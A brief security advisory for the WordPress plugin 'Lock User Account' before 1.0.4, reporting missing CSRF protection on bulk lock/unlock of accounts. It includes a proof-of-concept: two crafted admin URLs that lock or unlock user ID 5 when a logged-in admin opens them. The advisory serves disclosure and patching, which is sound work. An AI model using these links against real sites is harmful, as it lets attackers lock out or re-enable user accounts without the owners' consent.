Lock User Account < 1.0.4- Arbitrary Account Lock/Unlock via CSRF

Description The plugin does not have CSRF check when bulk locking and unlocking accounts, which could allow attackers to make logged in admins lock and unlock arbitrary users via a CSRF attack

PoC

Make a logged in admin open one of the links below, this will make them lock/unlock the user with ID 5 https://example.com/wp-admin/users.php?action=lock&amp;action2;=lock&amp;users;[0]=5 https://example.com/wp-admin/users.php?action=unlock&amp;action2;=unlock&amp;users;[0]=5